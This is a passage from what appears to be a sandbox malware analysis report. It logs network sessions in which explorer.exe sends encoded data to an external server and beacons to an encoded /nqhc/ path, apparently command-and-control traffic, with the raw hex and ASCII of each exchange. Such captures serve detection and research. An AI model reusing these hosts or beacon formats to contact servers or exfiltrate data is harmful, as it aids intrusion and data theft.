50 69 43 69 66 78 4f 4a 52 45 44 5a 59 37 74 54 62 36 79 63 61 67 30 6b 4b 72 56 75 6c 31 46 6a 45 6b 46 52 4d 46 6d 54 34 5f 78 68 4f 57 7e 6d 4a 49 58 30 33 4c 32 59 71 4b 4c 6b 6b 38 4e 7a 78 73 70 5f 57 75 75 6b 79 75 73 78 30 4d 73 42 37 54 71 34 79 62 57 4b 76 65 73 6e 78 4c 28 43 35 34 62 48 77 59 66 37 66 70 63 6e 67 71 74 41 46 4d 7e 65 56 4c 52 6d 6b 4e 51 52 28 66 57 61 28 4f 4a 65 4f 39 51 45 7a 6e 4a 31 34 37 74 64 4a 44 4b 78 67 6d 4b 78 59 56 78 59 44 50 79 7a 71 56 34 5f 39 52 54 77 78 77 57 70 4b 4c 73 52 67 4b 4d 66 30 64 4d 4d 36 31 43 73 77 5f 59 54 46 6c 69 48 76 7a 4d 69 39 66 32 38 7e 38 5a 35 68 45 67 69 72 74 28 32 28 79 28 44 37 4c 74 71 76 55 4f 4b 50 2d 51 45 31 75 77 6e 32 53 51 68 57 75 45 4b 4e 4e 53 61 7e 52 79 5a 68 61 45 77 73 6c 62 5f 43 73 57 2d 4a 62 4c 38 42 52 49 74 77 2d 75 65 75 36 4e 6d 57 72 4a 76 7a 75 5a 49 4c 72 7a 6f 7a 44 55 54 72 42 45 57 52 54 33 6d 41 6a 7a 36 4b 31 42 61 36 66 65 67 56 49 57 75 4a 31 30 41 6e 50 48 54 66 58 67 6f 46 38 66 45 39 57 47 Data Ascii: 7nWHV=Vrp8cbIEpYUBfEoulo~5wad7dEMYPL(8NPuDT2gQC8m3KwU7kG5Nc6(m2VacWQYrM2kBVmpDxZzShFCqifnbLCGwjAE6ixYRLnQn~dSRH0GgWBJWrF1qCOh4PBcw0mLAGdmT4CbVwVeTEvkTLXoFfdr1MYa7(7diyjlFEIORqX5RkUcGLDrYc13xBXE2KpqHUhtLp9YGZFeNUG5gzrBbJdDKfamoyfoYA7PZAuQlkdaRC6dApjz5wkhr~IbEWMddXrVVcRvLdEvpta0Mi9oAVP6u1ef9jAgir4d33AliKTr_w6YixMJFyOgwiV5D05OU8WJ6TazJipqRgijvHJBkEVLgEPVKbZHTzANzx6MNJ9LafFBqMy0bl0RshvDNcAX2wxfaTXxxFuJIWK87XJY7rfQFbKQmTIQItMWSX_HkfYHiAKI68nDsDHe9uLmH0uVr1MKVCzR5dJjVNh6idSJV8OwtQ6XOoFLK9pWw6eqzNLpr4cFysj(lgEDDEdSy492xuQ08MJBKoGUVqZshkZGrMJj0f4aDwASe(42HAjIrHFWyoRvgvAw1AMuiSynBVVLf5HR_9ZLT(HkpgvlHF1vkIre_NIsXRTNlEIDzw_WSHhjkpE00NK1Pr_tyEA3_QscnYuA8OLcgyoM7QPP2Ha10S0bNqDAHYglyX3XSot2_1pOo9yC-Y5YiNMx7GxekNEvZo2fXIuvWiSlDfhYBhpht~ZI49NB0yilp9s8tI2MBveaZ~QDw1mfFMLoLITwQ16WtAOpqcCMqNmSJHClpyXDUDHOuxdisf5~SU5qytAHfb79mLBezR0QNT0drZ_yfpqTm~oegJTiR4miROMO9SJ4rh9LiG7z743Aj7xfzMnJGyzd7CMMSwQNiuNHEh_XTexf1Z0NInHvvj18hE3XZADX4~Td1ALrttHOEqF3-xyerDPqOIK~_7wt1foxsAhKnO3(sNA~FlaxrmeaiG8n-Cu8k7ejsA9IP04Z-UqAp(alr09v0w3UVyFr7ztad(FPiCifxOJREDZY7tTb6ycag0kKrVul1FjEkFRMFmT4_xhOW~mJIX03L2YqKLkk8Nzxsp_Wuukyusx0MsB7Tq4ybWKvesnxL(C54bHwYf7fpcngqtAFM~eVLRmkNQR(fWa(OJeO9QEznJ147tdJDKxgmKxYVxYDPyzqV4_9RTwxwWpKLsRgKMf0dMM61Csw_YTFliHvzMi9f28~8Z5hEgirt(2(y(D7LtqvUOKP-QE1uwn2SQhWuEKNNSa~RyZhaEwslb_CsW-JbL8BRItw-ueu6NmWrJvzuZILrzozDUTrBEWRT3mAjz6K1Ba6fegVIWuJ10AnPHTfXgoF8fE9WGai4FvpewpemXbFET8DegVBMiGOKSN4uAiw8oEvh3Ktb4I9cfbzg2QSqa5cNySmPMLCnVwrYZsPjN9cV~WpPyRLRviyZB-nUUthkeH5MX9xd~KSa6JMmO8rQgIq7z4f_hLdtVK8Q0FYjFgaNUkdZ1nBKFzpoIDeNWw11Lbmv16g8EkjJjkZ2fEwuaqs7CtjxqHJTWc8TfLn44ZtYULmDhVaexzpqIdCeJEAapXhPJ79jGKljOwSnJ7ZjDjvOQh7MahamUV9iMdIQ0Hw1f6O8mQGakIlWVuTFTT30srzD1STgVsO8xvYirBQKT3WaipIgdJvCScYmLnUmi6fqYmKBicPP2mpS9FBjdeKVb_SiahgTCdKZxddEtVKL7m(tf9Ma7E8Xhe9my8Yk8ukigUzLDlNnnMmfY-zxwSfarvkt0ZYrZP35x_LTxtZOE4cAwubSUHBsjymnglXF~mZkkkJg1cItjeJhPnBcbT1W6OSNMFyyeeHCwmA5SDHE1LHyhlL_D2OM~ZZ86wEV5dLrDp4nX80d31fZyrKiuh8FLINsxxNu~i5W61NafzAVksW9VbAsZve_f9LcbNiCtndtkqEyIa4U27DCMRldTE9LMoqBhzUAE-mkkjWUuoInztRIw7IE7LUjf0zRuZ3niDllPoklROtFvB5aEGRuwzVaxjOoYAPKn98Ud05TZAH0BAu5(qTRubkS6p64ekVIOYGkZxis2D~oHXq9eIU7kDUQ(VJIWiKAM5P_KJ536_BOn6LbwNzVGZykSL4f8TC6I5Lcw2plSO8SpG8PugYfwp~lnOM0wqkA2Bl7eVjIDBoCU3(XO5fm6Rv8DLtE9dlGLxAgUIEPIEYVmkfaMluLMGQI2xlOZe9B(-Gjj4VBRCBKYXNl5n5dIvbIQ7Kx4kjUXBTS2ZpjXEXsddPCcv86aEWwZ5BcyoV-Km476UnxJ_Q9lSmv1f2DvzpJGCmEw0f5oxF_(aa7zZJxPtuLK4~fkU0genGEidOqgZacWH8SriBwCjVJ1eoPqxg12EGRGDt4MtvYM0aZbiMhIAqmtKJogoB7EIe13vmOuypotn0LxzNCLlm6xBq6gvrEvCQcO90DFbO2AQUc~730BtMSO83GBTZR8P2geLApDg4anHv0DqA_cbfTxxF7fw85aL(w52dpz_JYJlb5MDIxyLf1Wx1w7iKqrLlTOsnF9eB277bsFeXbTquKd0j38wHsZaew7Id96oFg(3PhYuSCT552MLcoX6ZcF_RN9E6WlUYgRupO3lQrcwIgarKIWK2AcX(fGL8PQVGFRfwaU13y4vHtBoQ3Llk93wqp4I5aROxCX5(hjI7m(xyWj-U4liHJSTcD(JfgEG4Icoq-W0(E5yEqym6RkdVGD5R9IqYXCMEPwWi3oTVj8VyNbuPsoq4h25CD1nuhedKTz0wjYugR5CG3A5ANZ71ek4nzCiCNIzbAWgjYOKsgvmmm~Esa0CdjA-g-N3f9GL~ln2WbxyLSuuVWh1PvzZqs16l3A2HPdOjWs4vbPQi0oYrN(qupFHb2Gbvmmv9BArNn764-MCWLtIgRqVqskKZgWLi8HRBWuBu1DIiKJm20503tewb95sXNBBqwCFrJ0P03yGRdG2wIBdvnZETaC1qVBXXzArxE7Up8fm4qMrJPj6r5sF2ZhEC84sA0Tmvboa3LTxbC6pLEbcdv7qtb6nacIpZzLVLsTsmnyS~VfzAs6j31nF7Zwim_DVicFM(q1QC9uS7KJ-SX8sd-xu(DDTdR6SGsII4YlsNjwwhaydjjxgbwwyj9fPSPcdfAcl7q23vDT5bgvaAEmrCtqFMeePTIgYkpCVMagZqI9NALZ0p0ldYvhT18(157P7ZL0AStI5jrCLY6SHV0JNP9vxemZ2~9WRyLBiA-BzHmg-mrf56nymEForywVjZcRTgHH89-9HGGV5AAZ17h6_ifCXMcohlozAxT9pviN00z8n9yHYBOdNF0u3WvAZcTfX0PDXwGNpaQxTPtSnaQCONzPvSXFXF5WPCUCQ21mYru0HYcB083qMQS0CqNhaxtbPEjcXYDFIS0c_JHdthDiv7zijgTDgM1BGHzjKE8dH~NRsn38dTYiZYSn50OI_C9AClDHnPyeIo6s29i5y9vcpsCOGtz6jw0fMUyykmwayI_6X21OYzg9cS2XskDE_pdQNMGlj7cL4lZKVUfC9DjflDE3iaoNCcwo9IlNGHlB7mQ9_Fy6uvorEFPH_ThJXy2WqgPTE4qQTwVYlpLAVK3(zm-02qwyxcRK6IkJkfnkNzbbzuM0D18U7UQx23GT6tUjmwQ6RBSFnjzzY9T7PrTK4m9vRnOyMIIzENpEg0SyTsazLwOGAUmUyKTASuxKSDR0bD7Tgje~2O-de1NQzZpivlOan7TwVK0eVgPr_a8tBcxRfDbH30IITyCPk(cRrflHgVHksxWSQVxIhO2HsvoGO7i(skBQDcLvKrz1PLLHqDZr7XktxiRRMJYeRgZE6VCmYHvx299SmehXVNzHqwgpdGtJLmibWsXJcaMrZmc~9x8mxj-QB5jQuqwfIIjuwc4wEPqokjAhhWc964TaBNP2MrNNGcT3UzFsEufk7Io5aH_h0hovscBpzlr23T7bSgjT_XJOL1Qh26tyaCRVZ2FNku9KtakHeD7oEEa6a2s07DYsHg90lnOlDakVW6GZRFFgFgGIINHLIOCDVRcynfn3IoqzN4GRs3x
Dec 5, 2022 15:17:30.816092014 CET	11812	OUT	Data Raw: 76 75 50 45 43 38 6a 4c 58 47 78 75 7a 62 4b 71 44 71 7e 42 30 4f 55 47 61 4f 77 6f 69 49 50 76 32 67 28 57 50 33 39 73 31 55 51 55 46 77 45 79 59 44 48 46 4f 79 71 39 7a 78 35 52 7e 5f 54 6d 74 79 6a 45 58 6d 6a 42 41 69 67 38 4b 43 41 37 64 6f Data Ascii: vuPEC8jLXGxuzbKqDq~B0OUGaOwoiIPv2g(WP39s1UQUFwEyYDHFOyq9zx5R~_TmtyjEXmjBAig8KCA7do2_tXnwnD5wunzjB79v8ea1(LJnyppooetsUM3i(h5knbgmEQnNhzAI~fHxUprFY2ZoJ2psoUdeKhopqErR3NdaN9BrRcrBdJnFr8ZpRybfSCHYAJbR5e6v2Z6XjW0cgeoYmuvvIU8S2r7qLc3YHJRwlKqhx_ovKSw
Dec 5, 2022 15:17:30.979477882 CET	11815	OUT	Data Raw: 4b 6f 61 58 74 52 76 45 72 53 4e 77 56 33 74 50 46 74 33 31 6f 56 73 68 59 4b 61 6a 4e 35 6d 6b 75 70 72 41 61 41 35 42 36 51 59 34 28 68 52 4b 75 76 4c 48 47 64 49 66 4a 38 7e 66 74 55 73 4a 28 45 70 52 73 47 6f 37 58 56 67 31 41 50 43 4e 57 55 Data Ascii: KoaXtRvErSNwV3tPFt31oVshYKajN5mkuprAaA5B6QY4(hRKuvLHGdIfJ8~ftUsJ(EpRsGo7XVg1APCNWUbAOOiaiBTN1FKdpMeJSPBq2cQbpo6zgaMXtoMnTSF14pcaee92wbk5TVASHGBiadUbkY7yzXry7gyGfVV7SfY37W7z7j5zcajwdomKP3yrS7ioJSWXtcK4AWJwsN9PJH~sv0KBavO93nTQOJlh6tgb~BWdJKnvA8r
Dec 5, 2022 15:17:30.979599953 CET	11817	OUT	Data Raw: 41 2d 54 42 35 4f 65 68 35 37 54 68 70 48 56 72 47 6d 4c 63 6a 71 48 76 37 52 59 44 55 62 68 70 6d 70 49 39 70 64 6f 54 6c 46 77 65 6f 74 57 41 42 45 4c 4a 6d 67 6c 4d 71 6a 31 4c 32 47 31 63 34 49 74 56 7e 53 28 43 33 41 48 66 54 6f 44 76 58 71 Data Ascii: A-TB5Oeh57ThpHVrGmLcjqHv7RYDUbhpmpI9pdoTlFweotWABELJmglMqj1L2G1c4ItV~S(C3AHfToDvXqJaji7o(HYm8x9rocdtH0uns2exqrAa6QD-svFvIXCzMbgQNG7WAYC9uvH2nKjxwufnRBsO60UYF0KEIBe8v1NzAr6p8TFQaKpRTRdeMmJRB8jZx-KIU1BGEP1OQPjYUybQ65Rf1yvjw47_5D4Nqj7Z(Z6lvQFbo_2
Dec 5, 2022 15:17:30.979660988 CET	11820	OUT	Data Raw: 74 4b 49 69 4c 74 5a 4e 63 6c 39 42 46 32 72 56 38 74 57 73 77 48 76 55 75 53 4d 54 48 68 62 6b 48 54 6c 36 67 73 6c 68 6e 47 74 63 47 6c 46 55 49 53 6e 32 53 79 68 48 43 5a 6b 2d 71 4a 77 47 74 42 30 76 4e 41 69 58 53 6a 32 36 36 67 68 79 77 67 Data Ascii: tKIiLtZNcl9BF2rV8tWswHvUuSMTHhbkHTl6gslhnGtcGlFUISn2SyhHCZk-qJwGtB0vNAiXSj266ghywgEVxzZsJIEuRy3R41bqUvRcbM8G7NCGoP6y(rwqOIopkilcRo1GAUffvv9gCy4nxEaFWRXIulvrP53i3u1CQltSaHtjIYatlq820LlDj16dNQLmn8OGfqgAAec-4uCCEgrk72YO21dBCPaAPdKWiatDBD(eCZd06k0
Dec 5, 2022 15:17:30.979886055 CET	11830	OUT	Data Raw: 6e 2d 46 54 41 33 7a 79 54 34 28 2d 75 38 52 44 38 6f 6e 6b 39 51 4a 37 50 77 54 6d 28 50 39 77 46 30 6a 59 77 69 4b 43 52 44 44 4b 53 2d 48 48 51 63 63 76 6c 52 64 30 57 5f 68 31 6c 76 36 32 73 75 6a 44 4b 52 4e 30 6f 47 65 49 28 6b 6f 43 44 49 Data Ascii: n-FTA3zyT4(-u8RD8onk9QJ7PwTm(P9wF0jYwiKCRDDKS-HHQccvlRd0W_h1lv62sujDKRN0oGeI(koCDIAXJw9xUuLgAZBul8X93p194tnV2eqrd7rbGID2cPqGAszwBiYqt1g_31ONfrTD2E9GvIkFVNfhJtJSUY49FaGHl3iE81vkhaP7kNyc9mThxI5V4zDcXPtpGle2rEZ7XiiUtzsyKZAWXz4QzP4rnRcAWYdVyLcUf2G
Dec 5, 2022 15:17:30.979993105 CET	11838	OUT	Data Raw: 30 76 70 5a 52 6d 56 36 6f 43 78 6c 4a 4d 5a 41 28 54 6e 30 77 5f 42 77 49 41 46 56 53 44 47 52 49 4b 73 31 4e 57 37 5f 36 56 4a 6f 4d 6a 52 71 49 52 77 6c 70 32 57 37 70 56 74 30 6b 30 64 4e 42 74 5a 51 46 68 4a 51 42 4e 4d 77 77 79 7a 59 55 48 Data Ascii: 0vpZRmV6oCxlJMZA(Tn0w_BwIAFVSDGRIKs1NW7_6VJoMjRqIRwlp2W7pVt0k0dNBtZQFhJQBNMwwyzYUHaevQUk(ClgR9Gy4u(eRsIbjGhDhYuYDgM8R5vEYEJ1KtsAZWfwGLEGpMvNzwOeBcVj5IEMxac66g1qNs19bCpJqHgo9vBjN853pBJF~XjzJ2m9hAwAM7GVq_ver-bPX8XVmSBp1jB3gk3MaqCYMomqsKz-NjJFe7O
Dec 5, 2022 15:17:31.145561934 CET	11846	OUT	Data Raw: 31 59 66 77 37 52 53 4a 68 35 52 52 55 51 32 65 54 46 33 76 68 37 51 50 41 35 38 73 7e 4f 72 71 54 53 37 4d 6d 6b 4e 59 37 39 43 67 4f 75 4c 38 63 59 67 39 51 61 78 74 56 2d 56 49 31 67 7e 46 79 44 66 30 5a 4c 68 39 61 47 4b 62 28 5f 43 32 53 57 Data Ascii: 1Yfw7RSJh5RRUQ2eTF3vh7QPA58s~OrqTS7MmkNY79CgOuL8cYg9QaxtV-VI1g~FyDf0ZLh9aGKb(_C2SWfdVMhSxw2Tj4sJ6Rwm9sI0FH6WYHDA~STEBZvGEyegxS~AbVR5u6LUafXNDzF7lNHQ2tHtZvBCe8NaDyFsYseohbxm8qk6zpwHbHgt7rALfU0BhfvF2fzL3Vk5a2jrM8BeY4(D(SDFUd4OBw5BJvVz3fR6ZwPZWsn
Dec 5, 2022 15:17:31.145695925 CET	11851	OUT	Data Raw: 7a 78 53 71 4d 6f 30 52 6a 54 45 36 74 42 48 52 4f 45 6f 2d 47 59 7a 37 72 76 28 38 7e 38 4c 70 50 55 36 48 58 62 38 74 34 5f 76 4a 45 54 36 70 75 64 69 50 7e 39 6a 64 30 34 6f 4a 68 6c 70 2d 4c 7a 56 74 66 75 28 6b 65 31 51 36 38 30 61 43 4b 6c Data Ascii: zxSqMo0RjTE6tBHROEo-GYz7rv(8~8LpPU6HXb8t4_vJET6pudiP~9jd04oJhlp-LzVtfu(ke1Q680aCKlpkaXRbVS(gnmZwJEBuRm0tZXUihYpiWkiIA7lGACvWjypiTHLr6xVEJjyKBuvRgRJIw3hwP7QNaTJ5f2g7AIVeyyVla6Ml916kX9n5YiLKguYDNtVVAXRFp7H4XM6f3TcWlPI8ojrKMmddwPXoyYsGI5mBkLlcdkj
Dec 5, 2022 15:17:31.485908031 CET	11853	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:30 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://xn--299aa717y.xn--3e0b707e/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 11649 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6d 8f ec c8 75 de 67 cd af a8 db 8b dd 99 96 ba d8 24 fb bd 7b 7a 64 ed 6a b5 16 a2 b5 85 bd 2b 1b 81 56 b8 a8 26 0f c9 da 29 56 d1 c5 e2 74 f7 8e 07 10 10 c7 f0 1b 9c 04 96 61 23 90 02 1b 88 e1 04 f9 22 24 0a a0 0f 49 7e 90 f6 ea 3f e4 14 d9 ef c3 9e e9 3b f7 5e 19 89 76 5e 48 d6 a9 73 9e f3 9c e7 3c 97 cf be fd fb 1f 7c fa af bf ff 21 49 4c 2a ae ce 2e ed 8b 08 26 e3 69 e3 5a d1 7f f5 49 c3 c6 80 85 57 67 5f bb 4c c1 30 12 24 4c e7 60 a6 8d 1f 7c fa 1d 3a 6c 90 f6 e6 46 b2 14 a6 8d 1b 0e f3 4c 69 d3 20 81 92 06 24 66 ce 79 68 92 69 08 37 3c 00 5a 1e 5a 84 4b 6e 38 13 34 0f 98 80 a9 57 e2 ec c0 9c 6b 35 53 26 3f df 80 9c 4b c5 65 08 8b 16 91 2a 52 42 a8 f9 79 59 62 b8 11 70 f5 eb bf fe fb 97 3f fb c5 cb 7f fe f1 97 ff f4 bf c8 cb 9f ff 9f 97 3f fb 13 f2 f2 cf fe 9e bc fc bb 3f 7d f9 b3 bf 22 ef bd 33 f4 3d 6f 42 62 15 2b a3 b2 cb 76 55 75 76 29 b8 bc 26 1a c4 f4 3c 94 39 cd 34 44 60 82 e4 9c 24 f8 35 3d 6f b7 17 92 52 7f 34 62 6c e0 0d 96 8e 3d 75 c0 9d 0d dc 01 54 dd 37 f5 0d 26 0c 68 c9 0c 34 88 59 66 a8 03 cb 32 c1 03 66 b8 92 6d 9d e7 df 58 a4 02 af 6c df 69 63 c5 83 bc a7 d9 1f 15 6a 42 7e fd 93 ff f5 e5 df fc b4 51 b5 6d 24 c6 64 e3 87 7a b7 23 80 b0 dd 78 93 0c be fc ab bf f9 d5 2f 7f fc ca 44 02 95 a6 b8 9d 7c 97 51 1e 68 9e 99 ab b3 39 ee 4b cd 9d 17 f3 0c 52 f5 39 7f 0e c6 70 19 e7 64 4a 6e 1b 33 96 c3 0f b4 68 8c cb 1e f9 f8 b3 f6 67 ed dc 99 3b 4a c7 9f b5 79 ca 62 c8 3f 43 70 0d 9f b5 cb e2 cf da 5e d7 71 1d f7 b3 f6 c0 5f 0c fc cf da 8d 56 03 16 06 eb 9d 4c c6 78 c8 6f e2 a7 e1 61 61 89 86 ef 0f 2b 40 fc b2 67 55 e8 00 1a e3 db 06 3a 10 45 2c cb 56 f8 25 fc 71 55 3e 6b cf 33 ca 65 20 8a d0 b6 fd 3c 2f 03 25 00 c5 4d 01 ce ee a4 5c 3a 9f e7 df bc 01 3d ed 3b 9e e3 35 ee ee 26 67 ed af 3f 23 9f 26 3c 27 11 17 40 f0 cd 0a a3 68 0c 12 34 12 08 c9 d7 db 67 cf a2 42 06 76 a3 17 d0 62 2d d3 bc bd 61 9a c8 96 6e a9 16 9f 32 27 d0 80 99 1f 0a b0 5b b9 68 04 4c de b0 bc d1 6c 65 53 ee c4 60 3e 50 d2 a0 6c ef bd b7 7b ba 68 f8 61 a3 39 59 03 93 1c a1 57 c0 6c fa dc 68 5c 9a 13 69 95 7e 90 30 fd 81 0a a1 05 d3 8b cc 09 70 0e fd 09 04 e6 c2 6d b9 2d ee cc 79 68 12 7c 27 c0 e3 c4 60 47 07 87 10 9f 5a 7c e6 58 27 2e 2f 0c 8e d6 82 26 a6 bb 4d cc 34 ea db cc b0 1f 7c f2 bd 8b 66 73 a2 c1 14 5a 92 a7 e3 9a 15 2e 4c a7 d3 3d ec bb cd 60 c1 05 54 63 99 fb 4a 55 a6 45 19 8c 93 eb Data Ascii: rmug${zdj+V&)Vta#"$I~?;^v^Hs<\|!IL.&iZIWg_L0$L`\|:lFLi $fyhi7<ZZKn84Wk5S&?KeRByYbp???}"3=oBb+vUuv)&<94D`$5=oR4bl=uT7&h4Yf2fmXlicjB~Qm$dz#x/D\|Qh9KR9pdJn3hg;Jyb?Cp^q_VLxoaa+@gU:E,V%qU>k3e </%M\:=;5&g?#&<'@h4gBvb-an2'[hLleS`>Pl{ha9YWlh\i~0pm-yh\|'`GZ\|X'./&M4\|fsZ.L=`TcJUE
Dec 5, 2022 15:17:31.486077070 CET	11854	IN	Data Raw: 60 8a 0a 38 21 44 b8 1d e3 98 65 06 d3 86 55 aa fd 39 43 39 ab cc 16 b3 12 ae ea f3 f7 97 9f b2 f8 f7 58 0a 17 8d 04 18 ca f9 43 f7 47 96 1d c8 f0 83 84 8b f0 c2 20 0f a5 2f d4 f4 5b 5a b3 e5 45 23 12 cc ba ac 72 55 13 bb e5 45 96 29 6d f2 e9 2d Data Ascii: `8!DeU9C9XCG /[ZE#rUE)m-)8"\|1~Sw/#@&o\|E[4oytVf>&HpvK;Ve4w]L4p{fV?h8h{ngn5zG{7yguzV?lMY
Dec 5, 2022 15:17:31.486191988 CET	11856	IN	Data Raw: 51 07 ef 25 39 09 cb e9 76 19 b7 19 0b 43 2e e3 b1 e7 f8 3d 48 89 ef 74 06 f8 9e a4 4c c7 5c 52 a3 b2 b1 bb 3e cc 14 72 4c c7 ee 23 9c 12 60 16 71 9f 4d e2 1d 34 6e 25 fe bd 48 e7 5e a4 7b 2f d2 bb 17 e9 9f 36 d2 23 ac 51 1b 16 a3 e3 93 03 15 79 Data Ascii: Q%9vC.=HtL\R>rL#`qM4n%H^{/6#QyN.mpW9B0}KWvP,+-3TPqunc@FB13~tq$81c?s;A%RF3GJ"@,h.xuCwj<O@E
Dec 5, 2022 15:17:31.486289978 CET	11857	IN	Data Raw: f7 f3 f3 8c 05 40 67 60 e6 00 f2 5e dd de ed 9d 93 07 1a df 28 09 0b d1 35 56 af db 99 d2 f8 3d 76 27 81 e0 d9 58 a3 36 17 5e b6 68 ed fc 37 cb 2b 9a 31 93 8c b9 c4 f5 5e f4 dc 77 9b 93 04 2c d3 31 26 4c 52 74 21 97 63 6a bf d5 0d e8 48 a8 f9 38 Data Ascii: @g`^(5V=v'X6^h7+1^w,1&LRt!cjH8ar02~fi54S0iH#V.9PB;aVs-vUvM0l-AbM=dnF\|x],B4+.[0%c?wIpQ
Dec 5, 2022 15:17:31.486387968 CET	11858	IN	Data Raw: c3 ca b9 0c ff b7 be ab 01 3c 9a 7b 32 7c 0e 81 92 e8 b5 e5 e3 e8 9b d4 93 c1 0d 68 c3 4f c2 5e 67 3e b0 1e cd 53 4c 78 5c 93 fa c4 d3 80 1f 52 a3 36 ef 34 d8 07 74 a8 4b bb 07 1a 29 69 68 ce bf 40 d8 3c 65 42 8c 89 a7 21 3d 9e 94 42 c8 8b 14 b3 Data Ascii: <{2\|hO^g>SLx\R64tK)ih@<eB!=B=)Nyuf X][s3o)Xy/siL*z_py1`Fbm>Q3Te>g2o`VHS>`0B=(1y 'U<Pcx^s""u0y.cJ}wL\
Dec 5, 2022 15:17:31.486485958 CET	11860	IN	Data Raw: 4d f2 8c a7 99 d2 86 49 b3 c2 08 96 4c e2 65 c1 f3 84 a2 e4 cb 13 e1 0e cb 6a 90 e7 09 37 70 22 5c 99 5b 83 91 31 01 34 c3 5d 9d 88 b3 c9 af c1 ba e1 37 3c a4 1a c2 13 b1 36 f9 35 58 a2 48 b9 54 c5 1a 14 97 23 e3 53 67 ad ad 7d bc 07 4b 67 e8 c8 Data Ascii: MILej7p"\[14]7<65XHT#Sg}Kg'(K:XodjevUGqBg@Hi*6XpJhh2<u)UvNH,uZb5k<fjrVopDsCg\N7TC
Dec 5, 2022 15:17:31.486574888 CET	11861	IN	Data Raw: 4d cf 51 dd 73 d2 46 86 79 a0 79 66 08 aa 7c 62 4b 2e 03 51 84 d8 6c 86 5b b9 ce db 92 dd f0 98 19 ae 64 fb 86 c3 dc 49 b9 74 3e af 1a 06 7e b7 d3 71 a3 7e a7 17 f5 82 d9 28 ec 81 0b d5 f4 88 53 96 d3 6d 35 b5 d5 f4 f3 fc fc 0a e5 2b 49 bd 05 76 Data Ascii: MQsFyyf\|bK.Ql[dIt>~q~(Sm5+Iv4U!y?Y;\|X~T^^:N**%n[MSkf`C8il$rd2vrt$zZs\|1eRu~cF'}z;,YdIMMwy$ 7uw+
Dec 5, 2022 15:17:31.486673117 CET	11862	IN	Data Raw: ca ef bf 11 bf cf 50 46 aa 50 b0 18 7e 6b ed be 6b 76 7f d0 db b3 ed c3 06 77 9d 3e 56 74 7b 2b 04 ff 64 bf 0f ef f9 dd 1b f5 dd c1 b0 db f1 3a 03 bf b7 83 f3 ad 07 70 bc 15 d5 76 8d 3c 1b cd d0 33 40 b8 f4 a7 8d e7 aa d0 01 7c a4 59 96 f0 a0 41 Data Ascii: PFP~kkvw>Vt{+d:pv<3@\|YAT.W0zQ9dcq=yQ:n4=jQbdCO)?#aq"A"nxg\pr%" 2cBG-&DoQyFBG#!!e?cuu
Dec 5, 2022 15:17:31.486771107 CET	11864	IN	Data Raw: f2 d5 30 85 ca 4b 07 cf b8 0c 01 e7 a0 de fd e5 94 49 15 f6 2b 81 87 9c 09 15 d7 f9 67 c5 d4 e2 ed 1a 6f df 63 5f fe e5 7f 2b 3d 56 4b e7 d5 9d 57 8d 5a f9 ea 89 06 3a 62 c7 d3 7c 95 31 93 10 5c d6 c7 5e 87 78 9e 33 14 7d c7 a3 7d a7 43 3d 6a df Data Ascii: 0KI+goc_+=VKWZ:b\|1\^x3}}C=j;>b>={sT>/mT_ 6q:c1PsL:/_RRIr}<&)hjUe6xBpy}QI?16K:?l3Zp\|b#v^v
Dec 5, 2022 15:17:31.486860037 CET	11864	IN	Data Raw: fe dd d9 63 2a 8c 23 15 14 f9 4a 0b 16 5c 5b e7 ca 10 5d 2d 14 aa f2 0e 00 ec 08 c3 0a a3 0e 19 ed 48 22 95 5c 65 af aa bb dd 6e 79 0e 79 9e 09 b6 1c 93 d2 cc 65 28 52 d2 a0 ab bf 00 1c 06 d2 3d 09 6d 97 32 20 20 c2 63 6f 35 2b 0e 00 74 9d 53 4d Data Ascii: c#J\[]-H"\enyye(R=m2 co5+tSMjJ(]7+U7\@HTJ-Kk]4~^h*0MC?E!S)HQz:Lr2.Ie\|3wC#fT&A: )V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.11.20	49888	50.87.192.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:33.001368999 CET	11865	OUT	GET /nqhc/?7nWHV=YpBcfthyu6gwcnN/g9jRvpxtfUkdEaz6LsXfXUppEZSnE0c1g3RTY5b27kCACk8vV3w0fGJq4rusk2G49vjJdiO+izISunFXUA==&t0D=yFNHS0IX HTTP/1.1 Host: www.xn--29-oj9ik7b890b.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:17:33.286813021 CET	11866	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:33 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://xn--299aa717y.xn--3e0b707e/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 37 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6b 6f 2d 4b 52 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 74 69 74 6c 65 3e ed 8e 98 ec 9d b4 ec a7 80 eb a5 bc 20 ec b0 be ec 9d 84 20 ec 88 98 20 ec 97 86 ec 9d 8c 20 26 23 38 32 